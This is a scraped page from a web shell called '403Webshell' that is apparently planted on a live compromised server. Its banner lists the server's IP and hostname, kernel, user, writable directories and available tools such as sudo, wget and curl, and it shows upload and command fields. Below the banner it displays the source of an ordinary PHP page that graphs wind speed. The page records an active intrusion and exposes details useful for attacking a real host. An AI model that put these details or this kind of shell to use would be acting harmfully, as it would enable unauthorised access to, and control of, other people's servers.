403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/vetroing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/vetroing/egraf-wind.php
<!DOCTYPE html>
<!--
******************************
 Project: IS VetroIng, 2024.
 Version: 24-04-25
 Author : TIM/M.Kukic
 Note   :
******************************
-->
<html>
<head>
<style>
table, th, td {
    border: 1px solid gray;
	border-collapse: collapse;
}
th, td {
    padding: 4px;
    text-align: center;
}

</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel='shortcut icon' type='image/png' href='favicon.png'/>
<meta http-equiv="refresh" content="20">
<title>VetroIng</title>
</head>
<body>
<div style="width:720px; word-wrap:break-word;">

<?php
//
include "config.php";
//
$loc = $_GET["loc"];
$lng = $_GET["lng"];
if ($lng==""){
	$lng="sr";
}
include "hed.php";
include "lang.php";
//Naslov Brzina vetra
echo "<h2 style='color:blue;'>".$hp24."</h2>";
//
include "egraf-dbh.php";
//
echo "<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='682' height='440'>";
echo "<rect width='682' height='420' fill='rgb(253,248,243)' stroke-width='1' stroke='rgb(0,0,0)' />";
echo "<g stroke='gray'>";
    
	$k=0;
	for ($x = 12; $x < 682; $x=$x+12) { 
	  $k++;
	  $x1=$x;
      $x2=$x;	 
	  if ($k==2){
	  $y1=424;
 	  $y2=406;	  
	  echo "<line x1=".$x1." y1=".$y1." x2=".$x2." y2=".$y2." />";	
      $k=0;	  
	  }else{
      $y1=424;
 	  $y2=414;		  
      echo "<line x1=".$x1." y1=".$y1." x2=".$x2." y2=".$y2." />";
	  }
     }
echo "</g>";
//
$dy=0;
$h=23;
$dty=-5;
$dtx=5;
$s1=0.5;
$s2=2.5;
$s3=5;
$s4=10;
$s5=15;
//
$ds1=420-($s1-$dy)*$h;
$ds2=420-($s2-$dy)*$h;
$ds3=420-($s3-$dy)*$h;
$ds4=420-($s4-$dy)*$h;
$ds5=420-($s5-$dy)*$h;
//
echo"<g stroke='gray'>";
echo "<line x1='0' y1='".$ds1."' x2='720' y2='".$ds1."' />";   
echo "<line x1='0' y1='".$ds2."' x2='682' y2='".$ds2."' />";  
echo "<line x1='0' y1='".$ds3."' x2='682' y2='".$ds3."' />";  
echo "<line x1='0' y1='".$ds4."' x2='682' y2='".$ds4."' />";  
echo "</g>";
echo"<g stroke='magenta'>";
echo "<line x1='0' y1='".$ds5."' x2='682' y2='".$ds5."' />"; 
echo "</g>";
//
$ds1=$ds1+$dty;
$ds2=$ds2+$dty;
$ds3=$ds3+$dty;
$ds4=$ds4+$dty;
$ds5=$ds5+$dty;
//
echo "<text x='".$dtx."' y='16' font-size='15'>V [m/s]</text>";

/*
echo "<text x='580' y='16' font-size='15'>MAX</text>";
echo "<text x='580' y='36' font-size='15'>AVR</text>";

echo"<g stroke='red'>";
echo "<line x1='620' y1='16' x2='670' y2='16' />";  
echo "</g>";

echo"<g stroke='blue'>";
echo "<line x1='620' y1='36' x2='670' y2='36' />"; 
echo "</g>"; 
*/

echo "<text x='".$dtx."' y='".$ds1."'>".$s1."</text>";
echo "<text x='".$dtx."' y='".$ds2."'>".$s2."</text>";
echo "<text x='".$dtx."' y='".$ds3."'>".$s3."</text>";
echo "<text x='".$dtx."' y='".$ds4."'>".$s4."</text>";
echo "<text x='".$dtx."' y='".$ds5."'>".$s5."</text>";
echo "<text x='674' y='410'>t</text>";
//
echo "<g stroke='".$col[6]."'>";
                $k=0;
            
               	if ($vap==5) {	
					$row = mysql_fetch_array($result);
				}else{
					$row = mysqli_fetch_array($result);
				}
				//
				$yo1=420-($row['wind']-$dy)*$h;	
				for ($x = 0; $x < 682; $x=$x+$xst) { 
				$k++;
				//
               	if ($vap==5) {	
					$row = mysql_fetch_array($result);
				}else{
					$row = mysqli_fetch_array($result);
				}
				//
				$x1=$x;
				$x2=$x+$xst;
				$yo2=420-($row['wind']-$dy)*$h;
                if ($k<$numofrows)
                {
				/*	
				echo"<g stroke='blue'>";
				echo "<line x1=".$x1." y1=".$y1." x2=".$x2." y2=".$y2." />";
				echo "</g>";
				*/
				//
				echo"<g stroke='red'>";
				echo "<line x1=".$x1." y1=".$yo1." x2=".$x2." y2=".$yo2." />";
				echo "</g>";	
				}
				$y1=$y2;
				$yo1=$yo2;
				}
echo "</g></g>";
//
//echo "<text x='5' y='439'>aws ".$aws[$st]." Time ".$ts." # ".$te."</text>";		
include "graf-ftr.php";
echo "</svg>";
//
echo "</table>";
echo "<br>";
//MIN - MAX
$par_db="windspeed";
include "mgraf-mim.php";
include "graf-link.php";
include "fut.php";
?>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit